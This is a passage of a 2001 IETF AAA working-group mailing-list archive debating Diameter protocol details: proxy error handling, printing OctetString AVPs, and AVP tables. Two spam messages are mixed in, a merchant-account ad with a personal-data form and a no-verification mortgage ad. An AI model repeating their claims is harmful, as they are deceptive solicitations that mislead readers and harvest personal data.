[10.6.84.105]) by nasnfs.eng.sun.com (8.9.3+Sun/8.9.1) with SMTP id RAA19331; Thu, 1 Feb 2001 17:47:57 -0800 (PST) Date: Thu, 1 Feb 2001 17:47:57 -0800 (PST) From: Patrice Calhoun Reply-To: Patrice Calhoun Subject: Re: [AAA-WG]: Thoughts on the MRI To: Barney Wolff Cc: Patrice Calhoun , aaa-wg@merit.edu, diameter@diameter.org In-Reply-To: "Your message with ID" <20010201202422.A67610@mx.databus.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII Sender: owner-aaa-bof@merit.edu Precedence: bulk > Well a proxy getting an MRI owes *some* response back to the NAS, > unless it's retrying and that only delays the response. I > certainly agree that relaying the MRI itself back is wrong. > Isn't there a "trouble downstream" failure code/response? > DIAMETER_UNABLE_TO_DELIVER is what you are looking for. However, I was sort-of hoping that dumb routing proxies wouldn't have to inspect each message (at the extension level) to figure out what to do. I suspect that we may not have much of a choice. PatC From owner-aaa-bof@merit.edu Thu Feb 1 22:16:46 2001 Received: from segue.merit.edu (segue.merit.edu [198.108.1.41]) by ietf.org (8.9.1a/8.9.1a) with SMTP id WAA18529 for ; Thu, 1 Feb 2001 22:16:46 -0500 (EST) Received: by segue.merit.edu (Postfix) id 69DDD5DF45; Thu, 1 Feb 2001 22:13:11 -0500 (EST) Delivered-To: aaa-wg-outgoing@merit.edu Received: by segue.merit.edu (Postfix, from userid 56) id 9A0FF5E1D3; Thu, 1 Feb 2001 22:09:22 -0500 (EST) Received: from mercury.Sun.COM (mercury.Sun.COM [192.9.25.1]) by segue.merit.edu (Postfix) with ESMTP id 3AB4F5E01F for ; Thu, 1 Feb 2001 22:07:24 -0500 (EST) Received: from engmail3.Eng.Sun.COM ([129.144.170.5]) by mercury.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id TAA21169; Thu, 1 Feb 2001 19:07:21 -0800 (PST) Received: from nasnfs.eng.sun.com (nasnfs.Eng.Sun.COM [10.6.84.20]) by engmail3.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id TAA28371; Thu, 1 Feb 2001 19:07:20 -0800 (PST) Received: from darius (darius.Eng.Sun.COM [10.6.84.105]) by nasnfs.eng.sun.com (8.9.3+Sun/8.9.1) with SMTP id TAA24741; Thu, 1 Feb 2001 19:07:18 -0800 (PST) Date: Thu, 1 Feb 2001 19:07:18 -0800 (PST) From: Patrice Calhoun Reply-To: Patrice Calhoun Subject: Re: [diameter] Re: [AAA-WG]: Thoughts on the MRI To: Patrice Calhoun Cc: Barney Wolff , aaa-wg@merit.edu, diameter@diameter.org In-Reply-To: "Your message with ID" Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII Sender: owner-aaa-bof@merit.edu Precedence: bulk So given the text below, I believe that some new text must be added to "6.4.2 Proxying Responses" that states that proxies MUST look at the Result-Code AVP to figure out whether it should attempt to take some additional action. However, there are only certain types of errors that proxies should care about. Perhaps these errors should belong in their own (new) class? I think this would be the simplest way to fix the problem. Comments? PatC > > Well a proxy getting an MRI owes *some* response back to the NAS, > > unless it's retrying and that only delays the response. I > > certainly agree that relaying the MRI itself back is wrong. > > Isn't there a "trouble downstream" failure code/response? > > > DIAMETER_UNABLE_TO_DELIVER is what you are looking for. However, I was > sort-of hoping that dumb routing proxies wouldn't have to inspect each > message (at the extension level) to figure out what to do. > > I suspect that we may not have much of a choice. > > PatC > From owner-aaa-bof@merit.edu Fri Feb 2 01:24:29 2001 Received: from segue.merit.edu (segue.merit.edu [198.108.1.41]) by ietf.org (8.9.1a/8.9.1a) with SMTP id BAA23260 for ; Fri, 2 Feb 2001 01:24:29 -0500 (EST) Received: by segue.merit.edu (Postfix) id 617265DDE3; Fri, 2 Feb 2001 01:24:00 -0500 (EST) Delivered-To: aaa-wg-outgoing@merit.edu Received: by segue.merit.edu (Postfix, from userid 56) id 49F1B5DF3E; Fri, 2 Feb 2001 01:24:00 -0500 (EST) Received: from sj-msg-core-1.cisco.com (sj-msg-core-1.cisco.com [171.71.163.11]) by segue.merit.edu (Postfix) with ESMTP id 8D9F35DDE3 for ; Fri, 2 Feb 2001 01:23:58 -0500 (EST) Received: from sj-msg-av-2.cisco.com (sj-msg-av-2.cisco.com [171.71.163.110]) by sj-msg-core-1.cisco.com (8.9.3/8.9.1) with ESMTP id WAA04969; Thu, 1 Feb 2001 22:24:12 -0800 (PST) Received: from proxy3.cisco.com (localhost [127.0.0.1]) by sj-msg-av-2.cisco.com (8.10.1/8.10.1) with ESMTP id f126Nvn20043; Thu, 1 Feb 2001 22:23:57 -0800 (PST) Received: from ftp.pearsoned.co.kr ([203.235.154.253]) by proxy3.cisco.com (8.11.2/8.11.2) with SMTP id f126Nps29208; Thu, 1 Feb 2001 22:23:52 -0800 (PST) Received: from host (unverified [38.26.242.226]) by ftp.pearsoned.co.kr (EMWAC SMTPRS 0.83) with SMTP id ; Fri, 02 Feb 2001 15:30:02 +0900 Message-ID: From: "Frank James" Subject: [AAA-WG]: Open the Door # B48 To: nic49d@cisco.com X-Mailer: Microsoft Outlook Express 4.72.1712.3 X-MimeOLE: Produced By Microsoft MimeOLE VÐßD.1712.3 Mime-Version: 1.0 Date: Thu, 01 Feb 2001 22:59:05 -0500 Content-Type: multipart/mixed; boundary="----=_NextPart_000_007F_01BDF6C7.FABAC1B0" Content-Transfer-Encoding: 7bit Sender: owner-aaa-bof@merit.edu Precedence: bulk This is a MIME Message ------=_NextPart_000_007F_01BDF6C7.FABAC1B0 Content-Type: multipart/alternative; boundary="----=_NextPart_001_0080_01BDF6C7.FABAC1B0" ------=_NextPart_001_0080_01BDF6C7.FABAC1B0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable ***** This is an HTML Message ! ***** ------=_NextPart_001_0080_01BDF6C7.FABAC1B0 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable FREE Computer With Merchant Account Setup

COMPLETE CREDIT CARD PROCESSING SYSTEMS FOR YOUR BUSINESS=2E INTERNE= T - HOME BASED - MAIL ORDER - PHONE ORDER

Do you accept credit cards? Your competition does!

 

Everyone Approved - Credit Problems OK!
Approval in less than 24 hours!
Increase your sales by 300%
Start Accepting Credit Cards on your website!
Free Information, No Risk, 100% confidential=2E
Your name and information will not be sold to thrid parties!
Home Businesses OK! Phone/Mail Order OK!
No Application Fee, No Setup Fee!
Close More Impulse Sales!

Everyone Approved!

Good Credit or Bad!  To= apply today, please fill out the express form below=2E It contains all the information we need to get your account approved=2E For a= rea's that do not apply to you please put "n/a" in the box=2E

Upon receipt, we'll fax you with all of the all Bank Card Application documents necessary to establish your Merchant Account=2E Once returned we= can have your account approved within 24 hours=2E
 

Service Industry Standard

US
Site Inspection $50 - $75 FREE
Shipping $50 - $75 FREE
Warranty $10 Per Month= FREE
Sales Receipts $10 - $50&nbs= p; FREE
Fraud Screening

$=2E50 - $1=2E00
Per Transaction

 FREE
Amex Set Up $50 - $75 FREE
24 Hour Help Line $10 Month FREE
Security Bond $5000- $10,00= 0
Or More		 NONE

This is a No Obligation Qualification Form and is your first step to accepting credit cards=2E By filling out this form you will= "not enter" in to any obligations o= r contracts with us=2E We will use it to determine the best p= rogram to offer you based on the information you provide=2E You will be c= ontacted by one of our representatives within 1-2 business days to go over = the rest of your account set up=2E

<= font color=3D"#cc0000">Note:  All Information Provided To Us Will Remain= 100% Confidential !! 

Apply Free With No Risk!

Pleas= e fill out the express application form completely=2E
Incomplete information m= ay prevent us from properly processing your application=2E
Your Full Emai= l Address:
be sure to use your full address (i= =2Ee=2E user@domain=2Ecom)
Your Name:
Business Name:=
Business Phone= Number:
Home Phone Num= ber:
Type of Busine= ss:
Retail Business
Mail Order Business
Internet Based Busines= s
Personal Credi= t Rating:
Excellent
Good
Fair
Poor
How Soon Would= You Like a Merchant Account?


Your info= rmation is confidential, it will not be sold or used for any other purpose,= and you are under no obligation=2E Your information will be used solely for the purpose of evaluating= your business or website for a merchant account so that you may begin acce= pting credit card payments=2E


List Removal/OPT-OUT Option
Click Here ------=_NextPart_001_0080_01BDF6C7.FABAC1B0-- ------=_NextPart_000_007F_01BDF6C7.FABAC1B0-- From owner-aaa-bof@merit.edu Fri Feb 2 03:58:00 2001 Received: from segue.merit.edu (segue.merit.edu [198.108.1.41]) by ietf.org (8.9.1a/8.9.1a) with SMTP id DAA05079 for ; Fri, 2 Feb 2001 03:57:59 -0500 (EST) Received: by segue.merit.edu (Postfix) id 15F0B5DF3C; Fri, 2 Feb 2001 03:55:58 -0500 (EST) Delivered-To: aaa-wg-outgoing@merit.edu Received: by segue.merit.edu (Postfix, from userid 56) id C09C25DE49; Fri, 2 Feb 2001 03:55:54 -0500 (EST) Received: from patan.sun.com (patan.Sun.COM [192.18.98.43]) by segue.merit.edu (Postfix) with ESMTP id AFC435DF0A for ; Fri, 2 Feb 2001 03:54:45 -0500 (EST) Received: from ehdb03-home.Germany.Sun.COM ([129.157.142.202]) by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id AAA06701; Fri, 2 Feb 2001 00:54:43 -0800 (PST) Received: from vayne (muc-isdn-19 [129.157.164.119]) by ehdb03-home.Germany.Sun.COM (8.8.8+Sun/8.8.8/ENSMAIL,v2.1) with SMTP id JAA04767; Fri, 2 Feb 2001 09:54:41 +0100 (MET) Date: Fri, 2 Feb 2001 10:05:14 +0100 (MET) From: Erik Guttman Reply-To: Erik Guttman Subject: Re: [AAA-WG]: OctetString type To: David Frascone Cc: Juergen Schoenwaelder , aaa-wg@merit.edu, erik.guttman@germany.sun.com In-Reply-To: "Your message with ID" <20010201181454.D20429@newman.frascone.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII Sender: owner-aaa-bof@merit.edu Precedence: bulk > I am assuming (perhaps incorrectly?) that the implementers know how to write > code and check for error conditions. We agree then that any implementation will have to check whether a string is printable before it actually prints it. > But, if I have no idea whether something is printable, I guess I can simply > check (as someone suggested earlier) Yes you do have an idea: DIAMETER specs define AVPs so as to include both their data type and the correct interpretation of the data. Every attribute of OCTETSTRING data type will also be described. Attributes which are UTF8String will be described as such. Attributes which are digital signature (binary) data will be described that way. Secondly, the data dictionary will describe this. Whether we use SMIng or XML based dictionaries, this information is available. The SMIng proposal provides this information this way: class VendorName { attribute Utf8String name { description "The name of the vendor."; } }; Utf8String is defined by importing the definition: module TUBS-SMING-DIAMETER { import IRTF-NMRG-SMING (Utf8String); ... }; Utf8String is defined in http://www.ietf.org/internet-drafts/draft-ietf-sming-modules-00.txt typedef Utf8String { type OctetString; format "65535t"; // is there a better way ? description "A human readable string represented using the ISO/IEC IS 10646-1 character set, encoded as an octet string using the UTF-8 transformation format described in RFC 2279. Since additional code points are added by amendments to the 10646 standard from time to time, implementations must be prepared to encounter any code point from 0x00000000 to 0x7fffffff. Byte sequences that do not correspond to the valid UTF-8 encoding of a code point or are outside this range are prohibited. The use of control codes should be avoided. When it is necessary to represent a newline, the control code sequence CR LF should be used. The use of leading or trailing white space should be avoided. For code points not directly supported by user interface hardware or software, an alternative means of entry and display, such as hexadecimal, may be provided. For information encoded in 7-bit US-ASCII, the UTF-8 encoding is identical to the US-ASCII encoding. UTF-8 may require multiple bytes to represent a single character / code point; thus the length of a Utf8String in octets may be different from the number of characters encoded. Similarly, size constraints refer to the number of encoded octets, not the number of characters represented by an encoding. Note that the size of an Utf8String is measured in octets, not characters."; }; The XML proposal provides it this way: Vendor-Name OctetString > So, I get some random blob of data, and starting doing my version of an > isprint on the string, and low and behold, it's printable. You want to print traces for arbitrary, unknown DIAMETER extensions? The output would look something like this 01-FEB-2001 05:15:23 GMT diameterd Received Command-Code: ??? AVP-Code: ??? printable data: P(#OIU#%IOJVD Question: Is this really useful? If you think so then, question: Can't you print the data whether it is a UTF8 string or not? - If the octetstring is a well formed UTF8 string, print it as a string. - Otherwise, print it as a hex dump. In this case you do not know a priori how to interpret the AVP, so this is the best you can do. If you did know, you'd already have code for interpreting the AVP correctly (see above). Erik From owner-aaa-bof@merit.edu Fri Feb 2 09:28:36 2001 Received: from segue.merit.edu (segue.merit.edu [198.108.1.41]) by ietf.org (8.9.1a/8.9.1a) with SMTP id JAA10072 for ; Fri, 2 Feb 2001 09:28:35 -0500 (EST) Received: by segue.merit.edu (Postfix) id 358E25DF10; Fri, 2 Feb 2001 09:27:51 -0500 (EST) Delivered-To: aaa-wg-outgoing@merit.edu Received: by segue.merit.edu (Postfix, from userid 56) id 2134B5DEF8; Fri, 2 Feb 2001 09:27:51 -0500 (EST) Received: from www.amcc.com.cn (ppp110.hf.ah.cn [202.102.193.110]) by segue.merit.edu (Postfix) with SMTP id 6D9265DF04 for ; Fri, 2 Feb 2001 09:27:44 -0500 (EST) Received: (qmail 20255 invoked by uid 101); 1 Feb 2001 02:06:56 -0000 Received: from unknown (HELO aol.com) (unknown) by unknown with SMTP; 1 Feb 2001 02:06:56 -0000 From: Subject: [AAA-WG]: Buying a home? Self employed? Hard to qualify? 1259 Date: Wed, 31 Jan 2001 20:51:41 Message-Id: <175.426602.90321@aol.com> Reply-To: homeloan013101@aol.com Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-aaa-bof@merit.edu Precedence: bulk WE SOLVE MORTGAGE PROBLEMS !!! Specializing in loans for exceptional people Self-Employed Borrowers No Income or Asset Verification All Levels of Credit Quality Up to 100% Financing High Debt Ratios Non-Owner Occupied Properties Renovation Plus Purchase and Refinance $UPER $OLUTION$ ......... $UPER RE$ULT$ If you would like additional information please email us at wed1111@excite.com?Subject=MoreInformation Help a family member or a friend with their home loan needs by FORWARDING THIS EMAIL TO THEM! An Equal Housing Opportunity Lender If you wish to be removed from this advertiser's future mailings, please reply with the subject "Remove" and this software will automatically block you from their future mailings. From owner-aaa-bof@merit.edu Fri Feb 2 10:52:43 2001 Received: from segue.merit.edu (segue.merit.edu [198.108.1.41]) by ietf.org (8.9.1a/8.9.1a) with SMTP id KAA12733 for ; Fri, 2 Feb 2001 10:52:42 -0500 (EST) Received: by segue.merit.edu (Postfix) id 88E505DE1F; Fri, 2 Feb 2001 10:52:28 -0500 (EST) Delivered-To: aaa-wg-outgoing@merit.edu Received: by segue.merit.edu (Postfix, from userid 56) id 78A975DDA7; Fri, 2 Feb 2001 10:52:28 -0500 (EST) Received: from mx.databus.com (p101-44.acedsl.com [160.79.101.44]) by segue.merit.edu (Postfix) with ESMTP id 1D9BE5DD9A for ; Fri, 2 Feb 2001 10:52:27 -0500 (EST) Received: (from barney@localhost) by mx.databus.com (8.11.1/8.11.1) id f12FqJD69995; Fri, 2 Feb 2001 10:52:19 -0500 (EST) (envelope-from barney) Date: Fri, 2 Feb 2001 10:52:19 -0500 From: Barney Wolff To: Patrice Calhoun Cc: Barney Wolff , aaa-wg@merit.edu, diameter@diameter.org Subject: Re: [diameter] Re: [AAA-WG]: Thoughts on the MRI Message-ID: <20010202105219.B67840@mx.databus.com> References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 1.0.1i In-Reply-To: ; from pcalhoun@nasnfs.eng.sun.com on Thu, Feb 01, 2001 at 07:07:18PM -0800 Sender: owner-aaa-bof@merit.edu Precedence: bulk I think if the server separates errors into "I don't like the user" and "I'm in trouble myself" classes it would help. Anything fancier should be a proxy implementation decision that we don't need to specify. Barney On Thu, Feb 01, 2001 at 07:07:18PM -0800, Patrice Calhoun wrote: > So given the text below, I believe that some new text must be added to "6.4.2 > Proxying Responses" that states that proxies MUST look at the Result-Code AVP > to figure out whether it should attempt to take some additional action. > > However, there are only certain types of errors that proxies should care > about. Perhaps these errors should belong in their own (new) class? > > I think this would be the simplest way to fix the problem. > > Comments? > > PatC > > > Well a proxy getting an MRI owes *some* response back to the NAS, > > > unless it's retrying and that only delays the response. I > > > certainly agree that relaying the MRI itself back is wrong. > > > Isn't there a "trouble downstream" failure code/response? > > > > > DIAMETER_UNABLE_TO_DELIVER is what you are looking for. However, I was > > sort-of hoping that dumb routing proxies wouldn't have to inspect each > > message (at the extension level) to figure out what to do. > > > > I suspect that we may not have much of a choice. > > > > PatC > > > > From owner-aaa-bof@merit.edu Fri Feb 2 11:57:06 2001 Received: from segue.merit.edu (segue.merit.edu [198.108.1.41]) by ietf.org (8.9.1a/8.9.1a) with SMTP id LAA15698 for ; Fri, 2 Feb 2001 11:57:05 -0500 (EST) Received: by segue.merit.edu (Postfix) id 412D05DD9A; Fri, 2 Feb 2001 11:56:36 -0500 (EST) Delivered-To: aaa-wg-outgoing@merit.edu Received: by segue.merit.edu (Postfix, from userid 56) id 26BA95DE27; Fri, 2 Feb 2001 11:56:36 -0500 (EST) Received: from newman.frascone.com (frascone.com [216.62.83.25]) by segue.merit.edu (Postfix) with SMTP id B196A5DD9A for ; Fri, 2 Feb 2001 11:56:33 -0500 (EST) Received: (qmail 25324 invoked by uid 500); 2 Feb 2001 17:31:35 -0000 Date: Fri, 2 Feb 2001 11:31:35 -0600 From: David Frascone To: Erik Guttman Cc: Juergen Schoenwaelder , aaa-wg@merit.edu Subject: Re: [AAA-WG]: OctetString type Message-ID: <20010202113135.E20429@newman.frascone.com> Mail-Followup-To: Erik Guttman , Juergen Schoenwaelder , aaa-wg@merit.edu References: <20010201181454.D20429@newman.frascone.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: ; from Erik.Guttman@germany.sun.com on Fri, Feb 02, 2001 at 10:05:14AM +0100 X-encrypt-payload: no Sender: owner-aaa-bof@merit.edu Precedence: bulk Ahh! That's exactly what I was looking for. As long as the attributes are described, then I'm happy! Consider this thread closed! -Dave On Fri, Feb 02, 2001 at 10:05:14AM +0100, Erik Guttman wrote: > > I am assuming (perhaps incorrectly?) that the implementers know how to write > > code and check for error conditions. > > We agree then that any implementation will have to check whether a string > is printable before it actually prints it. > > > But, if I have no idea whether something is printable, I guess I can simply > > check (as someone suggested earlier) > > Yes you do have an idea: DIAMETER specs define AVPs so as to include both > their data type and the correct interpretation of the data. > > Every attribute of OCTETSTRING data type will also be described. > Attributes which are UTF8String will be described as such. Attributes > which are digital signature (binary) data will be described that way. > > Secondly, the data dictionary will describe this. Whether we use > SMIng or XML based dictionaries, this information is available. > > The SMIng proposal provides this information this way: > > class VendorName { > attribute Utf8String name { > description "The name of the vendor."; > } > }; > > Utf8String is defined by importing the definition: > module TUBS-SMING-DIAMETER { > import IRTF-NMRG-SMING (Utf8String); > ... > }; > > Utf8String is defined in > http://www.ietf.org/internet-drafts/draft-ietf-sming-modules-00.txt > > > typedef Utf8String { > type OctetString; > format "65535t"; // is there a better way ? > description > "A human readable string represented using the ISO/IEC IS > 10646-1 character set, encoded as an octet string using > the UTF-8 transformation format described in RFC 2279. > > Since additional code points are added by amendments to > the 10646 standard from time to time, implementations must > be prepared to encounter any code point from 0x00000000 to > 0x7fffffff. Byte sequences that do not correspond to the > valid UTF-8 encoding of a code point or are outside this > range are prohibited. > > The use of control codes should be avoided. When it is > necessary to represent a newline, the control code > sequence CR LF should be used. > > The use of leading or trailing white space should be > avoided. > > For code points not directly supported by user interface > hardware or software, an alternative means of entry and > display, such as hexadecimal, may be provided. > > For information encoded in 7-bit US-ASCII, the UTF-8 > encoding is identical to the US-ASCII encoding. > > UTF-8 may require multiple bytes to represent a single > character / code point; thus the length of a Utf8String in > octets may be different from the number of characters > encoded. Similarly, size constraints refer to the number > of encoded octets, not the number of characters > represented by an encoding. > > Note that the size of an Utf8String is measured in octets, > not characters."; > }; > > The XML proposal provides it this way: > > > > vendor-flag="disallowed" mandatory-flag="disallowed"> > Vendor-Name > OctetString > > > > > > > So, I get some random blob of data, and starting doing my version of an > > isprint on the string, and low and behold, it's printable. > > You want to print traces for arbitrary, unknown DIAMETER extensions? > The output would look something like this > > 01-FEB-2001 05:15:23 GMT diameterd Received > Command-Code: ??? AVP-Code: ??? printable data: P(#OIU#%IOJVD > > Question: Is this really useful? > If you think so then, question: Can't you print the data whether it > is a UTF8 string or not? > - If the octetstring is a well formed UTF8 string, print it as a string. > - Otherwise, print it as a hex dump. > > In this case you do not know a priori how to interpret the AVP, so this > is the best you can do. If you did know, you'd already have code for > interpreting the AVP correctly (see above). > > Erik > From owner-aaa-bof@merit.edu Fri Feb 2 12:38:39 2001 Received: from segue.merit.edu (segue.merit.edu [198.108.1.41]) by ietf.org (8.9.1a/8.9.1a) with SMTP id MAA17518 for ; Fri, 2 Feb 2001 12:38:39 -0500 (EST) Received: by segue.merit.edu (Postfix) id C42805DE45; Fri, 2 Feb 2001 12:38:22 -0500 (EST) Delivered-To: aaa-wg-outgoing@merit.edu Received: by segue.merit.edu (Postfix, from userid 56) id B2C0D5DE42; Fri, 2 Feb 2001 12:38:22 -0500 (EST) Received: from mercury.Sun.COM (mercury.Sun.COM [192.9.25.1]) by segue.merit.edu (Postfix) with ESMTP id 7F85C5DDA7 for ; Fri, 2 Feb 2001 12:38:21 -0500 (EST) Received: from engmail1.Eng.Sun.COM ([129.146.1.13]) by mercury.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id JAA15274; Fri, 2 Feb 2001 09:38:17 -0800 (PST) Received: from nasnfs.eng.sun.com (nasnfs.Eng.Sun.COM [10.6.84.20]) by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id JAA24221; Fri, 2 Feb 2001 09:38:15 -0800 (PST) Received: from darius (darius.Eng.Sun.COM [10.6.84.105]) by nasnfs.eng.sun.com (8.9.3+Sun/8.9.1) with SMTP id JAA00609; Fri, 2 Feb 2001 09:38:13 -0800 (PST) Date: Fri, 2 Feb 2001 09:38:14 -0800 (PST) From: Patrice Calhoun Reply-To: Patrice Calhoun Subject: [AAA-WG]: Latest DIAMETER Internet-Drafts To: aaa-wg@merit.edu, diameter@diameter.org Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII Sender: owner-aaa-bof@merit.edu Precedence: bulk All, The latest (and last) individual contributions have been sent to the secretariat. A preview of the I-Ds can be found at www.diameter.org. I would welcome any comments. As I understand it, these documents are under review, and will become WG documents prior to the IETF Internet Draft deadline. BTW, the Resource Management and Strong Crypto drafts will remain as individual contributions until such time that we've figured out where we want to go with these. There is a security meeting on 3/7 in San Diego, for those of you that are not aware. Things not done: - Table. I need a clearer direction from the WG, as evidenced by my e-mail yesterday. Thanks, PatC From owner-aaa-bof@merit.edu Fri Feb 2 17:37:24 2001 Received: from segue.merit.edu (segue.merit.edu [198.108.1.41]) by ietf.org (8.9.1a/8.9.1a) with SMTP id RAA03075 for ; Fri, 2 Feb 2001 17:37:24 -0500 (EST) Received: by segue.merit.edu (Postfix) id 125715DE0E; Fri, 2 Feb 2001 17:35:06 -0500 (EST) Delivered-To: aaa-wg-outgoing@merit.edu Received: by segue.merit.edu (Postfix, from userid 56) id F313E5DE2A; Fri, 2 Feb 2001 17:35:05 -0500 (EST) Received: from mercury.Sun.COM (mercury.Sun.COM [192.9.25.1]) by segue.merit.edu (Postfix) with ESMTP id 9F7455DE0E for ; Fri, 2 Feb 2001 17:35:04 -0500 (EST) Received: from engmail1.Eng.Sun.COM ([129.146.1.13]) by mercury.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id OAA25989; Fri, 2 Feb 2001 14:35:03 -0800 (PST) Received: from nasnfs.eng.sun.com (nasnfs.Eng.Sun.COM [10.6.84.20]) by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id OAA06244; Fri, 2 Feb 2001 14:34:37 -0800 (PST) Received: from darius (darius.Eng.Sun.COM [10.6.84.105]) by nasnfs.eng.sun.com (8.9.3+Sun/8.9.1) with SMTP id OAA06592; Fri, 2 Feb 2001 14:34:34 -0800 (PST) Date: Fri, 2 Feb 2001 14:34:35 -0800 (PST) From: Patrice Calhoun Reply-To: Patrice Calhoun Subject: [AAA-WG]: New Sun Diameter Ping I-D Available To: aaa-wg@merit.edu, diameter@diameter.org Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII Sender: owner-aaa-bof@merit.edu Precedence: bulk All, We have been using what we call Diameter ping for quite some time, and found it very useful as a troubleshooting tool, and therefore decided to document as a vendor specific Command Code. I have sent the I-D to the secretariat, and a preview of the I-D can be found at www.diameter.org. Thanks, PatC From owner-aaa-bof@merit.edu Sat Feb 3 21:23:26 2001 Received: from segue.merit.edu (segue.merit.edu [198.108.1.41]) by ietf.org (8.9.1a/8.9.1a) with SMTP id VAA05624 for ; Sat, 3 Feb 2001 21:23:25 -0500 (EST) Received: by segue.merit.edu (Postfix) id 7256E5E522; Sat, 3 Feb 2001 20:26:49 -0500 (EST) Delivered-To: aaa-wg-outgoing@merit.edu Received: by segue.merit.edu (Postfix, from userid 56) id 2AB055E09B; Sat, 3 Feb 2001 20:00:06 -0500 (EST) Received: from franklin.cisco.com (franklin.cisco.com [171.70.156.17]) by segue.merit.edu (Postfix) with ESMTP id 8B3B95E031 for ; Sat, 3 Feb 2001 19:43:01 -0500 (EST) Received: from gwzpc (rtp-vpn-271.cisco.com [10.82.193.15]) by franklin.cisco.com (8.8.6 (PHNE_17190)/CISCO.SERVER.1.2) with SMTP id QAA19087; Sat, 3 Feb 2001 16:42:56 -0800 (PST) Reply-To: From: "Glen Zorn" To: "Patrice Calhoun" , Cc: "Bernard Aboba" , "Dmitton@Nortelnetworks.Com" Subject: RE: [AAA-WG]: Table vs. command definitions Date: Sat, 3 Feb 2001 16:41:19 -0800 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0) X-Mimeole: Produced By Microsoft MimeOLE V5.00.2615.200 Importance: Normal In-Reply-To: Sender: owner-aaa-bof@merit.edu Precedence: bulk Content-Transfer-Encoding: 7bit Pat Calhoun [mailto:pcalhoun@nasnfs.eng.sun.com] writes: > All, > > I have thought about having a table some more, Me, too. > and actually tried > to create > the table in the specs. Unfortunately, it isn't *quite* that > simple. Let us > assume for the moment that I am working on the base spec. I can > defined the > AVPs in the table, and state which command (defined in *that* > spec) they may, > or may not, be present. > > However, what do I do when I get to the Mobile IP extension? > > Here is an analogy. The RADIUS spec contains the table, and whether each > attribute may be present in the access-* or not. The accounting > one has it's > own attributes, but the table also includes the attributes defined in the > authentication/authorization spec. This is necessary because an incomplete > table is worthless. Well, yes, an incomplete table _is_ worthless, but I don't think that's why it's necessary to "pull in" attributes from the other spec. The real driver is RADIUS' pathetically small namespace. Why not create a new attribute (Acct-Username) instead of reusing the Username attribute from the AA spec? Not enough space. Presumably, we won't have this problem w/Diameter... > > Back to the Mobile IP extension. A table in that extension will > require that I > pull in AVPs from: > 1. base protocol > 2. Strong Crypto > 3. Accounting > 4. Resource Managemnt > > This will make a REALLY big table. Less than this is useless, and the SAME > problem exists for the NASREQ extension. The alternative is to > add ALL of the > NASREQ and Mobile IP AVps into the Accounting, Strong Crypto and Resource > Management extensions. Not the _only_ alternative (see above). > > Either way, it's ugly and evil > > So far Glen was in favor of tables, and I haven't heard anyone > else in favor > of tables. I would REALLY like to NOT include tables in the documents, and > leave them as-is. > > Comments, PLEASE! (even those NOT in favor of tables!) > > Thanks, > > PatC > > > From owner-aaa-bof@merit.edu Mon Feb 5 08:19:18 2001 Received: from segue.merit.edu (segue.merit.edu [198.108.1.41]) by ietf.org (8.9.1a/8.9.1a) with SMTP id IAA04799 for ; Mon, 5 Feb 2001 08:19:18 -0500 (EST) Received: by segue.merit.edu (Postfix) id D2A1F5DDCF; Mon, 5 Feb 2001 08:17:34 -0500 (EST) Delivered-To: aaa-wg-outgoing@merit.edu Received: by segue.merit.edu (Postfix, from userid 56) id AF6575DDE2; Mon, 5 Feb 2001 08:17:34 -0500 (EST) Received: from mercury.Sun.COM (mercury.Sun.COM [192.9.25.1]) by segue.merit.edu (Postfix) with ESMTP id 6E7735DDCF for ; Mon, 5 Feb 2001 08:17:33 -0500 (EST) Received: from engmail4.Eng.Sun.COM ([129.144.134.6]) by mercury.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id FAA03311; Mon, 5 Feb 2001 05:17:31 -0800 (PST) Received: from nasnfs.eng.sun.com (nasnfs.Eng.Sun.COM [10.6.84.20]) by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id FAA19593; Mon, 5 Feb 2001 05:17:25 -0800 (PST) Received: from darius (darius.Eng.Sun.COM [10.6.84.105]) by nasnfs.eng.sun.com (8.9.3+Sun/8.9.1) with SMTP id FAA23214; Mon, 5 Feb 2001 05:17:20 -0800 (PST) Date: Mon, 5 Feb 2001 05:17:20 -0800 (PST) From: Patrice Calhoun Reply-To: Patrice Calhoun Subject: RE: [AAA-WG]: Table vs. command definitions To: gwz@cisco.com Cc: Patrice Calhoun , aaa-wg@merit.edu, Bernard Aboba , "Dmitton@Nortelnetworks.Com" In-Reply-To: "Your message with ID" Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII Sender: owner-aaa-bof@merit.edu Precedence: bulk > Well, yes, an incomplete table _is_ worthless, but I don't think that's why > it's necessary to "pull in" attributes from the other spec. The real driver > is RADIUS' pathetically small namespace. Why not create a new attribute > (Acct-Username) instead of reusing the Username attribute from the AA spec? > Not enough space. Presumably, we won't have this problem w/Diameter... ok, looks like we have two choices: 1. Don't do the table 2. Do the table, and completely revamp all the drafts to no longer re-use AVPs from other 